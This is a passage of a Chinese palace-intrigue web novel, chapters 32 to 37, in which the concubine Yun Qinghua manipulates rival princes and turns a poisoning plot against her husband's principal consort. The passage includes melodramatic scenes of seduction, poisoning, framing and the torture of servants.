云清婳陪太后念完佛经,正欲回禅房,便看见庭院中,裴云澈正扶着一位小腹微微凸起的妇人散步。 妇人半倚靠着裴云澈,眼波流转时情意绵绵。 而裴云澈的嘴角也恰到好处地勾出弧度,体贴至极。 “这是大理寺卿的嫡女苏晴,半年前嫁进贤王府做了侧妃,听说裴云澈宠爱得很。”飞霜鄙夷地说。 云清婳的脸上闪过一抹恨意。 她的攻心大业,可不能有闪失。 裴云澈这狗贼,倘若爱上旁人,她的努力岂不是功亏一篑了? 似有所感,裴云澈一抬头,就撞进了一双圆润的杏眸。 他的瞳孔一缩,慌张地松开了妇人。 第32章 裴墨染追妻火葬场 “见过贤王。”云清婳的笑意不达眼底,冷淡的转身离开。 裴云澈的心抽搐了下,他急得想追上去,可面上仍旧淡然,“苏妃,本王还有政务处理,你先回房。” 苏晴满眼怨毒的剜着云清婳的方向,“是。” 旁人看不出来,可她却知道云清婳跟自家王爷的旧情。 这个贱人,在肃王府斗败了,就又想来勾引她的贤王了? …… 寺庙后的河边。 云清婳端站在树下。 裴云澈从她的身后抱住她。 云清婳挣了挣,闷声问:“您不关心苏妃,来这里干什么?” “本王不是关心苏妃,而是关心苏妃肚中的孩子。”裴云澈柔声解释。 “骗人!您定是对她动心了。”云清婳将脸扭到另一边。 裴云澈知道她吃醋了,唇角上扬,“蛮蛮是知道的,本王需要子嗣,苏妃为本王传宗接代,本王自然看重一些。若说动心,她的确与蛮蛮有几分像。” 这番话,成功恶心到了云清婳。 死狗贼居然还玩起了替身文学。 可她不得不装出感动,双眼泛着隐隐泪光,“殿下,妾身知道不该耍性子,可是看到您跟别人在一起,妾身真的好难过。” “这算什么耍性子?蛮蛮莫要害怕,在本王面前,你尽管显露本心。”裴云澈是发自内心地欣赏云清婳。 从他们的每次偶遇开始,共赏诗词,品鉴茶道,踏雪寻梅……她一点点打动他的心。 在他心里,云清婳是当之无愧的第一贵女,是其他女人是不可比拟的。 “殿下……”云清婳探着脖子,粉嫩的唇瓣将将要落在他菲薄的唇上。 裴云澈身子一僵,多年的克制土崩瓦解,他缓缓阖上眼,想要感受她的吻。 二人呼吸交缠,可云清婳眼底除了憎恶就是嫌弃。 吻他跟吃屎有什么区别? 想要吗? 她不给。 就在这时,一阵脚步声传来。 云清婳立即后退,跟他分开。 一个婢女福福身,“王爷,苏妃腹痛难忍,请您去看看。” “什么?”裴云澈脸色一变,他愧疚地看了眼云清婳,便快步走了。 云清婳的嘴角勾起一抹妖冶,死狗贼,是得给你点刺激了。 …… 晌午时,裴墨染来了。 这是云清婳都没想到的。 没想到他这么快就醒悟了。 但是,她不想这么快被裴墨染找到,轻易得到的,都不会被珍惜。 所以她刻意避开裴墨染。 裴墨染快把寺庙翻了个遍,都没寻到人,气闷不已。 黄昏时,太后诵完经,裴墨染才得以去禅房请安。 看着裴墨染坐立难安,太后跟桂嬷嬷相视一笑。 “你向来不爱礼佛,怎么来这里了?”太后坐在上首,悠悠地刮了刮茶盏上的沫子。 裴墨染叹了一声,他的食指焦急地叩着桌面,“皇祖母,蛮蛮呢?” 桂嬷嬷正想答话,太后一记眼刀就飞了去。 若是有心机的女子,早就暗暗向她卖惨、告状了。 可清婳没有,还一直给这个混不吝的孙儿说好话,懂事得让人心疼,她怎能不怜惜? “哀家让清婳随方丈前去云盖寺取舍利子了。”太后道。 “云盖寺?”裴墨染的剑眉一拧,“不可!云盖寺离京城十里远,路途中恐会遇到山贼。” 说着,他起身就走。 “王爷对云妃对上心了。”桂嬷嬷和蔼地笑道。 太后无奈地轻轻摇头,“可惜,墨染不开窍啊。” 裴墨染去往马厩,便翻身上马,策马扬鞭去追方丈离开的队伍。 马蹄踏起了层层风沙。 声音狂乱,可他的心更乱。 马疾驰狂奔,可才到后山,便看见了在河边散步的云清婳。 “蛮蛮!你没去云盖寺?”裴墨染跳下马背,他二话不说紧紧抱住了她。 云清婳像是被吓到了,身子一僵。 随后,她使出浑身力气挣开他,眼圈泛红,“王爷,这是佛门重地,不可乱来。” 他怜惜地揩去她眼角的泪,“蛮蛮,本王是特意来寻你的。” “……”云清婳抿着唇,看似想要忍住眼泪,可眼泪还是没出息地流了出来。 天色阴沉,乌云滚滚。 雨点子沙沙地落下,淋在二人身上。 “蛮蛮,本王不该怀疑你,误会你,更不该那般粗暴地对你。你别躲着本王了,本王知道错了。”裴墨染是真的后悔了。 他一想到她离开一个月回来后,跟他形同陌路,云家对他失望,他又恢复到以前孤立无援的状态就寝食难安。 蛮蛮跟云家,他都要! “呜呜……”听到他认错,云清婳这才哭出声。 裴墨染张开双臂,紧紧抱住她。 云清婳攥着粉拳,狠狠捶打他的胸口,她娇声哭道:“您不是不愿见我吗?您不是说我是细作吗?您不是要休了我吗?您来这里做什么?呜呜……” 他任凭她发泄。 只要发泄出来就好了,他受够了她冷冰冰的样子! 云清婳打了好一会儿,直到彻底没力气了,软绵绵地瘫倒在他怀里。 裴墨染将她打横抱进了禅房,她不住地抽噎。 他心疼地为她揩去脸上的雨跟泪,捧着她的脸,信誓旦旦道:“蛮蛮,本王错怪你了,日后本王在调查清楚之前,定不会怀疑你!” 说着,他抱来了一个木盒。 他当着她的面将木盒打开,里面躺着一只精致的紫色蝴蝶纸鸢。 “这是本王特意命匠人做的,那日是逗你玩的,没想罚你。至于冷落你,是因为军务繁忙。”他当然不会说出心中得到阴私。 云清婳看着纸鸢,眼中跳动着光,似有触动,“王爷每次都这么说,可每次遇事……” 剩下的话,她不说,他也明白她的意思。 “本王知道冤枉你的人是婉宁,你心里委屈,怪本王偏袒她,但本王已经训斥过她了。”他牵起云清婳的手,“此事是丑事,婉宁失德,若是传出去,丢的是本王的脸。” 云清婳掀起薄薄的眼皮,看着他俊逸的面庞,眼中除了委屈还有失望,“可那天您实在太凶了,王妃都没您吓人。” 她的眼泪准确无误地滴在他的手背上。 温热的水珠,好像把他的心烫得紧缩了下。 第33章 来自云清婳的孟浪 裴墨染有些不知所措,他放下纸鸢,手忙脚乱地给她擦眼泪。 “蛮蛮,本王日后定不对你凶了。”他在战场上见识过太多阴谋,正所谓兵不厌诈,所以才养成了他多疑的性子。 云清婳埋怨地睨着他,“王爷以后若是再怀疑妾身,妾身是会心寒的。” “本王知道了,本王以后定不会让蛮蛮心寒。”裴墨染将她搂紧怀里。 他已经深刻意识到了云清婳的重要性。 从前,他觉得她识大体懂进退,所以让她受些委屈也无妨。 可现在,他不敢了。 他承认,不论是她还是云家,对他而言是特殊的,他害怕失去他们。 云清婳鼓着腮帮子将他推开,不咸不淡地说:“妾身要回房了,里衣都淋湿了,您也换身衣裳吧。” 裴墨染的耳根子登时红了,他的喉结上下滚动,眼神炙热地落在她的胸口。 她没意识到她的话有多孟浪吗? 他的心酥酥麻麻,像被一片羽毛撩拨。 云清婳推门要走。 可裴墨染却快一步将门闫落下。 他粗硕的臂膀一揽,便将云清婳抱了起来,将她丢到了床榻上。 这一切,都在云清婳的算计之中。 她似乎被吓到了,瞠目结舌,“这、这里是清净之地,不可以的。” “蛮蛮,本王想你了。”他半俯下身,双臂撑在她的身子两边,不由分说地堵住她的唇。 云清婳深谙训狗技巧,闹了这么多天,是该给点奖励了。 她从抗拒到顺从,后来主动攀上他的脖颈。 一室旖旎,月亮害羞地躲进云层。 云清婳捂着嘴,眼尾含泪,望着门外的光影。 看那轮廓,应是裴云澈。 飞霜做得不错,把人引过来了。 裴云澈轻叩了叩门,“墨染……” 房中无人回应。 “墨染?” 裴云澈又唤了一声。 忽的,他跌跌撞撞逃离了现场。 他听到了屋内的声音,如同被迎头浇了盆凉水 他十五岁便收陪房了,自然知道那是什么声音。 裴云澈袖中的手颤抖起来,四肢百骸骤然失去温度,变得冰冷,浑身血液好似都冻住了。 嫉妒、愤怒的情绪不断在他心中喧嚣。 裴墨染怎配碰他的人? 云清婳心里暗爽。 醋死你个狗贼! 这足以让你跟裴墨染离心了吧? …… 不知过了几个时辰,夜色朦胧,房中才重新点起了灯。 云清婳慵懒地枕在裴墨染的胸口上,他的胸肌块垒分明,趴在上面还挺舒服。 “蛮蛮,别把狗送走,你喜欢便养着。”裴墨染怜惜地抚摸她的背。 她定是被这次的诬陷给吓到了,所以连狗都不敢养了。 蛮蛮睿智,可惜天性善良,一不小心便会被算计。 大不了日后他多关照些,帮她规避掉祸端。 “狗怎会恰好丢在书房呢?”云清婳的声音又染上了哭腔,委屈不已。 裴墨染的手一顿,这是他没关注到的。 她忽然起身,像是犯了大错,跪在他腿侧,惶恐道:“妾身不是含沙射影,只是随口说说,您别怪罪。” 他心疼地望着她,她怎么变得一惊一乍的。 看来是心里留下阴影了。 思及此,他竟有一丝愧疚,想要补偿她。 “蛮蛮本性善良,本王心疼你还来不及,怎会怪你?这只是私下说话,不必惶恐。”裴墨染起身将她抱住。 果然,玄音阁里也有婉宁的人。 他的王妃可真是手眼通天啊,全府都是她的爪牙。 “狗留在身边,我实在怕有人拿它做文章。更何况,皇祖母很喜欢它,我怎能夺人所好?”云清婳伸出双臂,勾住他的脖颈撒娇。 他望着她澄澈的双眸,再也拒绝不了,“好,明日你随本王回府,去库房挑些喜欢的物件拿去玩。” 云清婳挑眉,用食指狠狠戳着他的胸口,“王爷的算盘打得真精!我为何要随您回府?我不是细作吗?我不是要偷机密吗?我不是要把机密送人吗?” 裴墨染被她阴阳怪气得有些羞恼,他的长睫轻颤,附在她耳边道:“是不是细作,本王严刑拷打一番就知道了。” 她听懂了弦外之音,吓得腿颤。 正欲逃跑,便被他反扣着手压下。 又是一阵鱼水之欢后,云清婳才得以解脱。 虽说已经步入初秋,可秋老虎实在闷人,窗外又有雨水,不能开窗。 热得人难以入睡。 裴墨染的脸上都泌出细细碎碎的汗。 云清婳从书架上找了本书,为他轻轻扇着。 他感受到丝丝凉意,心尖一暖。 幼年,他见过皇后如此照顾过发烧的裴云澈,可换作他生病,皇后虽然也会彻夜守在身边,但从未躬亲照料过。 皇后总是这样,给他的爱不多也不少,让他不忍怪她,却也不敢爱她。 他想着,眼皮子愈发沉重,缓缓入眠。 …… 翌日清晨。 裴墨染是被窗外叽叽喳喳的鸟叫扰醒的。 “主子,您快别扇了,您不会一夜没睡吧?”飞霜端来热水,用气音问。 云清婳自然没有为狗男人扇一夜的扇子,“嗯,夫君怕热。” “主子可真是用情至深。”飞霜小声揶揄。 裴墨染装睡,心中却甜丝丝的。 “我才不喜欢他!我这次被伤着心了,再也不会陷进去了。我只是不想他出汗粘着我罢了。”云清婳傲娇地说。 裴墨染登时来了火气。 夫为妻纲,就算他有错,她作为妻子也该一生一世爱敬他。 她怎能生出如此忤逆的想法? 真是可气! 可念着她扇了一晚上的扇子,他没有发作。 二人用过早膳,裴墨染就牵着她的手,“随本王回府。” “可妾身答应陪着皇祖母清修,怎能反悔?”云清婳看似苦恼。 裴墨染半认真半玩笑道:“皇祖母若是不放人,本王就把你偷走。” 她娇俏一笑,“王爷这么舍不得妾身?” “嗯……”他被她这么看着,竟有些羞涩。 二人携手出门,正巧撞见了去佛堂诵经的太后。 太后见二人重归于好,欣慰道:“清婳,哀家这孙儿武将出身,不解风情,委屈你了。” 第34章 他害羞了 “王爷磊落宽宏,妾身未曾委屈。”云清婳规矩的福身。 裴墨染看向她,眼波温柔,“皇祖母,本王要带蛮蛮回府了。” “哀家不准,你觉得清婳好,哀家亦是。”太后打趣。 云清婳冠冕堂皇道:“王爷别说笑了,清修是为国为民的大事,怎能半途而废?” 裴墨染有种被背刺的感觉,他可气地说:“方才本王说要把你偷走,你不是挺高兴的?怎么这会儿就变了心意?” “……”闻言,太后、桂嬷嬷低低地笑了。 “皇祖母,王爷方才吃了酒,这会儿在说醉话,您别见怪。”云清婳看似着急地想捂他的嘴。 裴墨染抓住她的双手不准。 “佛门清净之地怎能吃酒?带着清婳回去吧。”太后佯装不悦,责怪道。 “是。”裴墨染抓着云清婳的手腕就走。 到了庙外,他轻撞了下她的肩膀,“在本王跟皇祖母面前,你装什么?第一贵女?” 这副模样,真是贱。 云清婳恨不得扇他一嘴巴。 “当众拆台,王爷的脸上就有光吗?”她甩开他的手。 她早就发现了,裴墨染有时很幼稚。 他尤其喜欢捉弄人,以此来引起注意。 裴墨染就喜欢看她恼,他嘴角斜提,“不急着回府,本王陪你放纸鸢。” “妾身自己放,不要您陪。”云清婳喜滋滋地让飞霜去拿纸鸢。 裴墨染看她稚气的模样,暗下决定,以后要多护着她。 她天真烂漫,毫无野心,又能帮他笼络人心,于情于理都该留在身边。 暗处,裴云澈幽幽地看着他们,表情阴冷。 …… 裴墨染或许是政务繁忙亦或是想给赵婉宁些教训,接连几日没去清心阁。 无疑,赵婉宁将这些账,都算在了云清婳的头上。 她默许手下的人欺凌玄音阁。 不过都是些上不得台面的把戏,克扣月钱、打骂玄音阁的婢女、抢夺吃食之类的。 裴墨染自然也收到了风声。 但他想着赵婉宁被冷落也可怜,让她小打小闹,发泄一下也无妨。 而且,云清婳也没向他求助,若是她向他告状,他必会管。 他还在气她在白鹿山时说的话,她怎敢不对他上心? …… 玄音阁。 云清婳躺在贵妃榻上,榻前跪了一排婢女。 她们泫然欲泣,满面愤然与委屈。 飞霜噘着嘴,愤愤道:“主子,这几日不少姐妹挨了清心阁的巴掌,她们不讲道理,上来就打人骂人,您可得出出血!” “我妆奁里的首饰,都分出去吧。”云清婳早有预料,她轻抬下巴。 登时,所有婢女的脸由阴转晴,甜声叩谢:“多谢主子。” 受点窝囊气,就能换来价值不菲的珠宝,也值了! “是。”飞霜熟稔地将事先准备的首饰分了出去。 她想起赵婉宁总说自己大方,可殊不知,她的大方跟自家主子根本没法比。 别人家的婢女留在主人身边,是为了卖身契、为了养家糊口。 而她们早就赎回了卖身契,赚得盆满钵满,留在主子身边,纯纯是因为赚钱有瘾,甚至赚出了成就感! 安抚好婢女后,飞霜蹲在云清婳身边,“主子,咱们还要忍多久?” “很快了。”她瞥着守门的婢女,讥诮地问:“素问每日还在给我下毒?” “是慢性药,喝多了败底子,半年才见效,杀人于无形。素问每次都下在茶水里。”飞霜的神情鄙夷。 云清婳颔首,“你没把药倒了吧?” “没!都攒着呢,药粉都被我炼了出来。”飞霜的眼中跳动着兴奋的光。 “赵婉宁想毒死我?那我就把药全下给她的亲亲王爷……”她附在飞霜耳边说着计划。 飞霜的脸上露出骇人、震惊,被她的计划吓到了。 …… 清心阁。 赵婉宁急红了眼,她含泪道:“快半个月了,王爷为何还不来?就算要罚我,也罚够了吧?” “王爷定是想来的,一定是云清婳这个贱人勾得紧!”宝音安慰。 “这个骚浪货!”赵婉宁转而想到这几日打压玄音阁,但裴墨染没有怪罪,她的脸色才稍稍缓和。 宝音为她揉着肩膀,“王妃,不如您向王爷服服软吧?您跟王爷七年情谊,怎么可能说没就没?” “我也想啊,可我连王爷的面都见不到。”赵婉宁用帕子揩去眼角的泪。 她自己都没发现,她曾经的骄傲已经被磨去,她变成了自己曾经最讨厌的模样——通过摇尾乞怜来祈求男人的宠爱。 裴墨染一来便听到了这番话,他难免为赵婉宁感到心酸。 曾经的她傲慢、自大,像一匹脱缰的野马,可现在的她却懂得服软了。 他的心中升起了一抹怜意,但更多的是满意,他喜欢她被驯化的模样。 “婉宁。”他沉声唤道。 “王爷……”赵婉宁眼中燃起了光,她小跑着奔向他,笑中含泪。 裴墨染为她擦去眼泪,“别哭了,都过去了。” “王爷,我以后一定不会再犯。”赵婉宁半真半假地说着,她抱着他的腰,忍不住哭出了声。 他轻拍她的背,欣慰道:“你明白就好,你是本王的正妃,日后要为本王分忧,管理内宅,怎可犯糊涂?” 赵婉宁像是吃了定心丸,她点头,“我知道了。” 裴墨染陪赵婉宁用了晚膳后,说了会儿体己话,便离开了。 他如今每晚都想着如何尽快让蛮蛮有孕。 而云清婳为他创新的姿势叫苦不迭。 裴墨染踏入玄音阁后,示意婢女不要通传。 殿内,云清婳正坐在桌前吃点心。 “主子真可怜,今日又没吃好。”飞霜叹气。 云清婳娇柔地抿唇笑,“没关系,我托表哥带了雪莲,下个月就能吃上。” 飞霜跺跺脚,“王妃真是的,什么补品都抢,她吃得完吗?不然还是跟王爷说说?” “夫君更喜欢王妃,我何必自讨没趣?我可不敢对他抱有期待。”云清婳说着,眼圈又红了。 不敢期待? 裴墨染有些心疼。 “什么自讨没趣?”他跨进门中,为她递了个台阶。 只要她肯说,他一定会主持公道。 第35章 谋杀亲夫,蛮蛮下毒! “没什么。”云清婳忙不迭为他斟茶,眼底闪过报复的快感,“夫君今日下职晚了?可用膳了?” 裴墨染有些恼火,他喝完一杯茶,怒意都没压住。 他最厌恶官场上那套假惺惺的弹冠相庆,回了家还要忍受! 砰—— 他将茶杯重重搁在桌上,不满道:“蛮蛮,你究竟还要闹多久?本王哄了这么多日,你还不肯放下吗?” 云清婳终于等来了他的发作。 他的画外音便是,你怎敢不在乎我了? 她的杏眸流转着水光,似是被吓到,后退了一步,“妾身听不懂您在说什么。” 裴墨染的脸逐渐冷了下去,他懒得听她拿乔,“在白鹿山时你便心怀芥蒂,之后与本王的和睦全是演的,这些日子,你可曾用心待过本王?” 你之前不也是虚情假意地待我? 怎么换在你身上,就不行了? 云清婳的眼中闪过轻蔑,“夫君,妾身可是哪里伺候得不好?” 裴墨染感觉一拳打在了棉花上。 她分明听得懂他的意思,却故意答非所问。 “本王要的不是斤斤计较的妻子,第一贵女连夫为妻纲的道理都没学会?”他讽刺道。 云清婳的眼泪啪嗒啪嗒掉,她颤声道:“妾身真的算是您的妻子吗?” “冥顽不灵。”裴墨染气得不轻,胸口郁结堵闷。 他正想抓她的手,将她狠狠教训一顿,可心口发痛,喉头紧跟着涌起一股腥甜。 扑哧—— 裴墨染呕出了一滩深色的血。 “啊……”飞霜惊呼。 云清婳的小脸失了颜色,忙不迭道:“府医,快传府医!” 贴身太监立即进屋,将裴墨染扶到了床榻上。 须臾,府医就来了。 他把了脉,当即诊断出裴墨染中毒了,喂了解毒丸。 裴墨染的头脑昏沉,乏力气闷,经脉闭塞,他行气都行不起来。 “夫君……”云清婳扑进他怀里,失态地啜泣。 她哭得惹人怜惜,愧疚地问:“大夫,是不是我把夫君气坏了?” 裴墨染险些被气笑。 “夫君,妾身日后定不气您了。”云清婳满眼都是愧疚跟惊慌。 府医拱手道:“王爷是中毒了,面色惨白,四肢乏力,经络错乱,应是服用了大剂量的五石散。” 裴墨染冷冽地递给贴身太监一个眼神,“查!” “是。”贴身太监立即带着府医查证。 他抿着唇,满脸阴鸷地沉思着,他的周身裹胁着戾气,强大的气场令人望而生畏。 究竟是谁在害他? 睿王? 睿王又是通过何人呢? 府上每个人都有嫌疑。 尖锐的视线不由得落在云清婳的身上。 他中蒙汗药那次,也跟云清婳独处过。 真的这么巧合吗? 他眯着眼,眼神褪去了温度。 猝然,云清婳跪在榻下,“既然夫君是在玄音阁毒发,无论如何,妾身都应先行请罪。” 裴墨染微抬食指,示意她起身,“还未查出真相,本王不会怀疑你,这是本王答应过你的。” 云清婳满眼感动的看着他,眼泪又大颗大颗落下。 可惜,这次的毒真是我下的呢。 裴墨染细细琢磨,对她的怀疑打消了一半。 实名下毒,她应该没有这么蠢。 …… 玄音阁。 贴身太监联合管家、府医只查了须臾便回来了。 “回禀王爷,毒下在了玄音阁的茶水里。”贴身太监指着桌上的茶杯,颤颤巍巍地说。 而这杯茶,正是云清婳方才亲手倒给裴墨染的。 霎时,众人的视线落在云清婳身上。 云清婳腿一软,瘫倒在地,她吓哭了,鼻尖泛着淡淡的粉,“王爷,妾身冤枉!定是有人在陷害妾身!妾身再蠢,也不敢明目张胆地投毒啊。” 贴身太监、管家都觉得有道理。 本来云侧妃的嫌疑是最大的,可查清了五石散的来源,反而帮她洗脱了嫌疑。 谁都不会这么蠢。 裴墨染的眼神冷了三分,他剐了她一眼,“搜!” “是!”管家跟万嬷嬷二话不说便带人翻起了玄音阁。 很快,素问被押解在地。 “王爷,老奴在素问的衣箱底下发现了剩下的五石散。”万嬷嬷双手呈上。 裴墨染靠在床榻上,脸上的线条绷得很紧,脸上像是覆盖了一层薄薄的寒霜,他的情绪很淡,一切喜怒都被淡然压下。“严审贱婢!” 贴身太监将素问严刑拷打。 不过一炷香,素问便浑身是血,指甲全被拔了,牙齿也被敲掉了两颗,她几乎不成人形,撕心裂肺的哭喊:“啊,太疼了,奴婢受不住了!” “奴婢招了!是云侧妃让奴婢下的毒!云侧妃记恨王爷偏宠王妃,便对王爷起了埋怨!” “是她把五石散给奴婢的!” 云清婳闻言,抽抽噎噎地辩解:“谋害王爷,我能得到什么好处?” 所有证据都指向了她,裴墨染本就生性多疑,怎会凭她的三言两语就信任? “继续审。”裴墨染的眼神始终狐疑。 贴身太监又用了极刑。 可素问的嘴硬的很,她奄奄一息的指摘,“云侧妃,你为什么不承认?你这个毒妇!利用完我,便把我抛弃了!啊……” “啊……王爷,求您放过奴婢吧,奴婢所言句句属实,就算杀了奴婢,奴婢也只有这句话!” 或许是从来没见过这么硬的骨头,就连贴身太监都没法了。 “你可有什么想说的?”裴墨染晦暗的看着云清婳。 云清婳挺着修长白皙的脖颈,一脸正气,可语气却委屈得很,“妾身不敢说。” 裴墨染蹙眉,“有何不敢?有话你便说!” “主子,您说啊!”飞霜扑通一声跪了下去。 云清婳斥道:“飞霜,你退下!” 裴墨染正欲发作,乾风就来到了门外。“王爷!属下查到了!京中只有西域游商贩卖五石散,属下找到了游商。” 贴身太监抓着素问的头发,将人血淋淋地拖到游商面前,“你的客人里面,有没有她?” 西域游商辨认了一会儿,他道:“我不确定,买五石散的女子一直戴着面纱!身形跟她倒是相似,对了,那女子发间总插着一支梅花金簪,一看就价值不菲。” 万嬷嬷拿来纸笔,须臾,西域游商就将金簪画了出来。 趁众人视线都在纸上时,云清婳跟游商交换了一个眼神。 这游商是江培玉的合作伙伴,也是她的人。 他们早就发现宝音偷买五石散的事,就等着今日呢。 等金簪图样呈上来时,裴墨染的眸子骤然紧缩。 管家、万嬷嬷也看出了端倪。 裴墨染眼中的怒意、冷冰化为了莫大的失望。 这梅花金簪,是他送给婉宁的十八岁生辰礼! “主子,您就算要罚奴婢,奴婢也要说!”飞霜重重磕了个响头,“王爷明察!素问根本不是好人,上次就是她把狗引去书房的,她怎会帮主子下毒?恐怕她的主子另有其人!” “飞霜!”云清婳含泪训斥。 裴墨染的手微颤,他疲惫地缓缓阖上双眼,暗下了决心,“将王妃召来!” 在白鹿山时,他便猜到玄音阁有婉宁的人。 如此,都对上了。 第36章 跟赵婉宁离心 另一边,清心阁。 赵婉宁得知裴墨染中毒,她的手捂着心口,心突突直跳,“究竟谁想害王爷?王爷没事吧?怎么就中毒了?” “王妃放心,听说王爷及时服用了解毒丸,调一调就好了。”宝音的眼珠子滴溜溜一转,“无论如何,王爷是在贱人那里中的毒!跟贱人一定脱不了干系!” 赵婉宁又心疼又舒爽,她轻笑:“是啊!说不定云清婳真的是细作,王爷定不会轻饶了她。只是咱们的药不会被查出来吧?” “王妃放心,素问谨慎得很,而且她的家人都被咱们捏在手里,她不敢反水。”宝音一笑,露出白森森的牙。 赵婉宁颔首,“此事咱们装作不知道就好,王爷怪我把手伸得太长了,我这次就不掺和了。” 宝音欣慰地看着赵婉宁。 以前睿智的主子终于回来了。 正说着,万嬷嬷便冷着脸带着一众婆子、家丁来了,气势汹汹,“王妃,王爷有请。” 赵婉宁隐隐感到了阵仗不对,她的背后像是灌进了冷风,让她直打寒战。 …… 玄音阁的庭院站满了生面孔,素问满身是血,不成人形,赵婉宁看得心肝都在颤,可强作镇定。 “王爷,您没事吧?”赵婉宁红着眼,担心地问道。 她看着云清婳哭得梨花带雨,七上八下的心又落回了肚子里。 裴墨染的脸色黑沉,鹰隼般的眸子刺向赵婉宁,可眼神掠过宝音髻上的金簪时,他的眉宇舒展了一分。 这些神色转变都准确无误地落入云清婳的眼中。 她没有想过能一次扳倒赵婉宁。 但这次,赵婉宁必会在裴墨染心中大打折扣。 “王爷中了五石散,正好查到府中的宝音向西域游商买了五石散。”万嬷嬷看宝音的眼神带着无尽愤怒。 宝音扑通一声跪下,“定是有人陷害奴婢!奴婢怎会买那种害人的玩意?” 啪—— 万嬷嬷狠狠甩了宝音一巴掌,宝音被扇倒在地,一支梅花金簪从她头上掉了出来。 “西域游商已经指认带着梅花金簪的女子买过五石散,倘若不是你,那是谁呢?”万嬷嬷狐疑的眼神射向赵婉宁。 赵婉宁的唇瓣都在颤,眼泪夺眶而出,她扑通跪在地上,“我什么都不知道!王爷,我跟您七年情谊,您就是我一辈子的仰仗,我怎么可能毒害您?” “……”裴墨染抿着唇,斜睨着她。 他想要窥探她的内心,可什么也看不到。 似有坚冰隔在他跟赵婉宁中间,隔阂越来越厚,二人渐行渐远。 宝音气得恨不得呕出一口血,她向来周密从没戴着梅花金簪出府。 这是一个局,她中计了! 宝音无力回天,虽然想不通毒害云清婳的药,为何被王爷吃了。 但她知道,她们这次栽了。 她们又被云清婳算计了! “严审!”裴墨染狠狠砸下这两个字。 赵婉宁的心咯噔一响,他明明是知道的,宝音是她的贴身丫鬟,跟她感情深厚。 他怎么可以这么狠心? “啊……不要啊……”宝音吓得腿颤,浑身软成了一滩烂泥,“奴婢招!奴婢招了!” 赵婉宁的身子也跟着抖,她紧张地看向宝音。 “是奴婢私下买的药,王妃什么都不知道!”宝音双目赤红,凶狠地瞪着云清婳。 “奴婢没想害王爷,奴婢只想杀了云清婳,都是云清婳害王妃整日以泪洗面!都是云清婳抢走了王爷,让王爷跟王妃离心。” 飞霜冷笑,“素问也是你安排进玄音阁的?你可真是手眼通天!” 言下之意便是,宝音不可能没经过赵婉宁的授意。 宝音啐了一口,“贱婢!我们家正妃向来磊落,收拾你们,岂会不承认?你趁机攀咬我,不过是想拉正妃下水,这样云清婳就能如愿夺走正妃之位了!真是好心机!” 云清婳似是被吓到了,她捂着胸口,“王爷,妾身好害怕……” “此贱婢心思歹毒,剁碎了,丢去喂狗。”裴墨染的脸上闪过嗜血的杀意。 可语气却很随意,就像在评论天气好坏。 宝音浑身发麻,脖颈凉冰冰的,好像已经脑袋搬家。 她的腿一抖,罗裙濡湿的水渍扩大,她跪到赵婉宁的脚边,抱住她的腿,像是抓住最后一根救命稻草,“不要啊,不要啊……王妃救奴婢,王妃救救奴婢吧。” “奴婢不想死啊!奴婢想生生世世伺候王妃!” 赵婉宁的眼神晦暗,惋惜中夹杂着一丝阴狠,她扑通跪地,“王爷,还请您饶宝音一命!宝音跟我情同姐妹,我们从小一起长大啊!” 云清婳挑眉。 这个走向,她有点看不懂了。 赵婉宁这毒妇,毫不敬畏生命,怎会为一个婢女求情? “婉宁,退下!”裴墨染气得胸闷,喉头又尝到了一股腥甜。 他差点被贱婢害死,可他疼爱了这么多年的发妻,居然为凶手求情? 他是她的丈夫,是大昭的四皇子! 可在她心里,他竟然比不上一个贱婢? 是了,若是比得上,怎会把他送的金簪,转赠给贱婢? “王爷!还请您看在七年的情分上,饶宝音一命,失去宝音,臣妾犹如自断一臂,心如刀绞啊!”赵婉宁卑微地咚咚磕头,涕泪横流。 这把众人都看惊了。 甚至有人暗暗觉得王妃有情有义。 但裴墨染的眼神愈发冰寒刺骨,他气得双臂不住地颤。 手攥成拳,松开,再攥成拳。 “你想如何?”他嗓音低沉,许是太虚弱,话像是从肺腑中挤出来的。 她既然要用七年的情分交换凶手的命,那便换吧。 这七年,原来都是不值的! “求王爷打宝音三十大板,把她赶出王府。”赵婉宁苦涩地开口。 裴墨染冷哼了声,他双眼灼热,不甘心地追问:“你确定?” 赵婉宁感受到了男人的异样,心口竟也像被剜去了一块肉,可她还是回答:“确定。” “好!”裴墨染郁结于胸,心口发疼。 他摆摆手,示意众人退下。 万嬷嬷心疼地看着裴墨染,冗长地叹了口气。 她知道王爷渴望被爱,赵婉宁是他心里的寄托,可如今赵婉宁替凶手求情,便是断了夫妻情谊。 扑哧—— 裴墨染又呕出一滩血。 “夫君……”云清婳吓得连忙找府医。 府医把脉后,喂他服下药丸,“王爷体内余毒未清,须得卧床三日,其间断不可受气,否则会郁结于胸,亏损气血。” “我晓得了。”云清婳哽咽着,可心中笑得放肆张扬。 赵婉宁今日的反常,为她的攻心大计,推动了一大步。 裴墨染乏力地躺在榻上,唇都失了血色,他看着榻前满脸沾满眼泪的人儿,脸上的冷意渐渐融化。 “夫君,妾身日后定不惹你生气了,之前都是妾身不好。”云清婳的眼泪在眼眶打转,她让飞霜打了热水,她为他擦脸跟手。 现在赵婉宁跟他离心,她当然得抓住机会。 人只有在最失望,最脆弱的时候,最容易心动。 她小心翼翼,动作轻柔,让裴墨染很舒服。 他眉间的郁气渐渐散去,桃花眼中倒映着烛光,“蛮蛮,你究竟在顾虑什么?” 第37章 死直男 云清婳握住他的手,娓娓道来:“夫君,妾身知道自己抵不过您跟王妃七年的情谊,所以不敢期待,不敢不自量力。 人之所以活得痛苦,就是因为追求了不属于自己的东西,妾身才不要跟自己过不去。” 裴墨染捏着她软嫩的掌心,心中百感缠绕。 赵婉宁肆意挥霍之物,正是蛮蛮心心念念之所求。 枉他一直偏袒婉宁,念着七年的情谊,总觉得愧对于她,让蛮蛮受委屈。 既然如此,他何尝不把宠爱多分些给蛮蛮? 赵婉宁为他挡过箭,但蛮蛮也为他挡过刀。 更何况方才赵婉宁已经把七年的感情作为筹码交换出去…… 自此,他问心无愧。 “歪理!你跟王妃都是本王的妻,王妃有的,你也会有,心思别这么重。”裴墨染似是下定了决心,语气柔和下来,“本王若是心里没你,怎会盼着你生下长子?嗯?” 云清婳感受得到,他准备收回对赵婉宁多余的偏爱了。 呵! 以前她受委屈的时候,裴墨染随便哄两句,就让她忘了。 现在刀子落在自己身上,知道疼了? 她双颊泛起桃色,娇羞地低下头。 云清婳为他解开衣袍,草草擦了遍他的上身,肌肉块垒分明,八块腹肌亮晶晶的,宽肩窄腰,的确好看。 